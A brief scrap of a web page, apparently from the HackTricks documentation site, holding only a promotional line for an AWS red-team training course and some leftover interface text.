Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
Loading…
Reference in a new issue